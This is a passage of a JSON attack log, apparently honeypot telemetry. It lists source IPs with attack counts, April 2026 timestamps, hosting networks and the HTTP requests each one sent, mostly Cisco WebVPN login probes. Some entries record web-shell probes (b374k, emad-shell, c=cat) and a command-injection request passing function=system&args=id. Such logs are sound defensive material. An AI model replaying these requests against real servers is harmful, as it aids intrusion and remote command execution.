        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "37.19.221.166": {
      "attack_count": 42,
      "first_seen": "2026-04-08T20:07:13.729Z",
      "last_seen": "2026-04-30T04:52:39.793Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "68.235.46.39": {
      "attack_count": 39,
      "first_seen": "2026-04-10T04:07:59.501Z",
      "last_seen": "2026-04-29T15:41:39.143Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.221.208.71": {
      "attack_count": 35,
      "first_seen": "2026-04-24T09:09:14.985Z",
      "last_seen": "2026-04-24T09:11:08.160Z",
      "ports": [],
      "event_types": [
        "\"GET /_asterisk/index.php? HTTP/1.1\" 404 -",
        "\"GET /_asterisk/index.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/main.php.1?31 HTTP/1.1\" 404 -",
        "\"GET /panel/main.php?126 HTTP/1.1\" 404 -",
        "\"GET /recordings/11.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/3Zz.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/Go.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/a/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/a7/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/a7a.php?c=cat+a7a.php& HTTP/1.1\" 404 -",
        "\"GET /recordings/a8a.php?c=cat+a8a.php& HTTP/1.1\" 404 -",
        "\"GET /recordings/atmin/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/awael/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/b374k-2.8.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/badr2.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/ec0ed5d0ec037dca5.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/em7e/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/emad-shell.php?34 HTTP/1.1\" 404 -",
        "\"GET /recordings/emad.php?45 HTTP/1.1\" 404 -",
        "\"GET /recordings/graph.php?module=upload HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Hungary",
      "country_code": "HU",
      "city": null,
      "asn": 41075,
      "as_org": "ATW Internet Kft."
    },
    "23.234.78.174": {
      "attack_count": 30,
      "first_seen": "2026-04-10T10:40:55.608Z",
      "last_seen": "2026-04-27T10:53:37.311Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "138.249.206.25": {
      "attack_count": 28,
      "first_seen": "2026-04-13T02:30:24.194Z",
      "last_seen": "2026-04-13T11:46:27.782Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.70.233": {
      "attack_count": 27,
      "first_seen": "2026-04-13T16:44:59.404Z",
      "last_seen": "2026-04-27T13:22:45.391Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.149.80.186": {
      "attack_count": 25,
      "first_seen": "2026-04-13T04:27:42.402Z",
      "last_seen": "2026-04-15T06:47:49.655Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "79.127.222.204": {
      "attack_count": 25,
      "first_seen": "2026-04-16T03:40:20.507Z",
      "last_seen": "2026-04-29T20:28:16.327Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "McAllen",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "146.70.172.115": {
      "attack_count": 24,
      "first_seen": "2026-04-10T11:50:39.187Z",
      "last_seen": "2026-04-23T17:38:53.704Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.113.227": {
      "attack_count": 24,
      "first_seen": "2026-04-08T16:38:07.816Z",
      "last_seen": "2026-04-24T11:50:11.413Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "166.88.49.95": {
      "attack_count": 23,
      "first_seen": "2026-04-13T04:21:19.355Z",
      "last_seen": "2026-04-13T14:19:06.700Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "172.120.20.209": {
      "attack_count": 23,
      "first_seen": "2026-04-13T01:33:57.611Z",
      "last_seen": "2026-04-15T04:46:41.381Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "153.80.115.65": {
      "attack_count": 22,
      "first_seen": "2026-04-13T10:56:33.074Z",
      "last_seen": "2026-04-15T07:32:10.997Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Knoxville",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "146.70.187.51": {
      "attack_count": 21,
      "first_seen": "2026-04-18T07:03:57.261Z",
      "last_seen": "2026-04-29T09:40:35.801Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.116.48": {
      "attack_count": 21,
      "first_seen": "2026-04-08T18:07:56.417Z",
      "last_seen": "2026-04-29T17:22:04.421Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.98.231": {
      "attack_count": 21,
      "first_seen": "2026-04-11T02:12:45.105Z",
      "last_seen": "2026-04-29T16:53:05.387Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.13": {
      "attack_count": 21,
      "first_seen": "2026-04-10T11:53:48.711Z",
      "last_seen": "2026-04-27T20:07:29.133Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.102.247.233": {
      "attack_count": 18,
      "first_seen": "2026-04-18T22:43:38.011Z",
      "last_seen": "2026-04-27T21:22:04.700Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.70.105": {
      "attack_count": 18,
      "first_seen": "2026-04-13T14:02:38.884Z",
      "last_seen": "2026-04-27T14:23:42.909Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "152.32.199.73": {
      "attack_count": 16,
      "first_seen": "2026-04-23T19:58:23.539Z",
      "last_seen": "2026-04-23T19:59:14.734Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "146.70.172.179": {
      "attack_count": 15,
      "first_seen": "2026-04-08T14:21:15.706Z",
      "last_seen": "2026-04-28T04:43:48.688Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "172.120.21.6": {
      "attack_count": 15,
      "first_seen": "2026-04-12T01:14:17.578Z",
      "last_seen": "2026-04-13T09:06:33.683Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "173.249.254.236": {
      "attack_count": 15,
      "first_seen": "2026-04-11T01:37:56.213Z",
      "last_seen": "2026-04-25T13:10:42.785Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "193.228.51.56": {
      "attack_count": 15,
      "first_seen": "2026-04-12T02:31:34.889Z",
      "last_seen": "2026-04-13T09:56:11.599Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.168.216.100": {
      "attack_count": 15,
      "first_seen": "2026-04-08T18:10:31.386Z",
      "last_seen": "2026-04-27T22:38:37.405Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "23.234.117.61": {
      "attack_count": 15,
      "first_seen": "2026-04-23T03:49:48.889Z",
      "last_seen": "2026-04-27T09:22:24.809Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.227": {
      "attack_count": 15,
      "first_seen": "2026-04-18T14:25:22.735Z",
      "last_seen": "2026-04-23T05:38:40.338Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.92.48": {
      "attack_count": 15,
      "first_seen": "2026-04-11T06:09:43.932Z",
      "last_seen": "2026-04-29T16:03:31.624Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "172.120.21.63": {
      "attack_count": 13,
      "first_seen": "2026-04-02T15:08:23.078Z",
      "last_seen": "2026-04-03T03:56:36.805Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "185.220.101.183": {
      "attack_count": 13,
      "first_seen": "2026-04-24T09:04:54.244Z",
      "last_seen": "2026-04-24T09:12:03.891Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /admin/config.php?display=OpenVAS&handler=api&file=OpenVAS&module=OpenVAS&function=system&args=id HTTP/1.1\" 404 -",
        "\"GET /api.php? HTTP/1.1\" 404 -",
        "\"GET /falx.php?xw HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/Zizo.php?z1x HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/zizo.php?123 HTTP/1.1\" 404 -",
        "\"GET /wav.php?123 HTTP/1.1\" 404 -",
        "\"GET /webadmin.php?!23 HTTP/1.1\" 404 -",
        "\"GET /x1.php?123 HTTP/1.1\" 404 -",
        "\"GET /z.php?pass=angel HTTP/1.1\" 404 -",
        "\"GET /zz.php.call HTTP/1.1\" 404 -",
        "\"POST /api.php??act=cmd HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "103.81.230.62": {
      "attack_count": 12,
      "first_seen": "2026-04-13T10:39:56.578Z",
      "last_seen": "2026-04-29T20:34:06.899Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "104.36.50.56": {
      "attack_count": 12,
      "first_seen": "2026-04-18T13:35:28.176Z",
      "last_seen": "2026-04-24T23:14:52.066Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "143.244.47.82": {
      "attack_count": 12,
      "first_seen": "2026-04-08T14:32:27.320Z",
      "last_seen": "2026-04-19T04:29:30.902Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.168.90": {
      "attack_count": 12,
      "first_seen": "2026-04-08T10:45:21.019Z",
      "last_seen": "2026-04-29T20:18:16.795Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.187.112": {
      "attack_count": 12,
      "first_seen": "2026-04-08T22:51:19.720Z",
      "last_seen": "2026-04-24T13:30:42.189Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "155.2.191.19": {
      "attack_count": 12,
      "first_seen": "2026-04-16T01:49:51.375Z",
      "last_seen": "2026-04-22T05:46:35.932Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.234.101.48": {
      "attack_count": 12,
      "first_seen": "2026-04-19T03:55:51.421Z",
      "last_seen": "2026-04-27T18:01:54.228Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.106.185": {
      "attack_count": 12,
      "first_seen": "2026-04-21T07:23:32.029Z",
      "last_seen": "2026-04-22T01:11:11.526Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.116.31": {
      "attack_count": 12,
      "first_seen": "2026-04-21T07:04:30.539Z",
      "last_seen": "2026-04-27T15:35:49.419Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.231": {
      "attack_count": 12,
      "first_seen": "2026-04-15T09:39:15.424Z",
      "last_seen": "2026-04-29T16:37:18.694Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.254.109": {
      "attack_count": 10,
      "first_seen": "2026-04-14T01:16:13.321Z",
      "last_seen": "2026-04-23T09:45:27.919Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.251.26.157": {
      "attack_count": 9,
      "first_seen": "2026-04-18T22:55:25.618Z",
      "last_seen": "2026-04-30T04:28:07.008Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "103.251.27.233": {
      "attack_count": 9,
      "first_seen": "2026-04-21T19:39:47.603Z",
      "last_seen": "2026-04-29T15:37:58.385Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "142.147.89.236": {
      "attack_count": 9,
      "first_seen": "2026-04-24T11:01:28.627Z",
      "last_seen": "2026-04-24T20:07:16.605Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 6233,
      "as_org": "xTom"
    },
    "146.70.165.147": {
      "attack_count": 9,
      "first_seen": "2026-04-13T16:53:01.718Z",
      "last_seen": "2026-04-27T21:56:20.225Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.113.188": {
      "attack_count": 9,
      "first_seen": "2026-04-25T09:22:26.394Z",
      "last_seen": "2026-04-30T03:03:42.596Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.70.187": {
      "attack_count": 9,
      "first_seen": "2026-04-24T20:21:40.145Z",
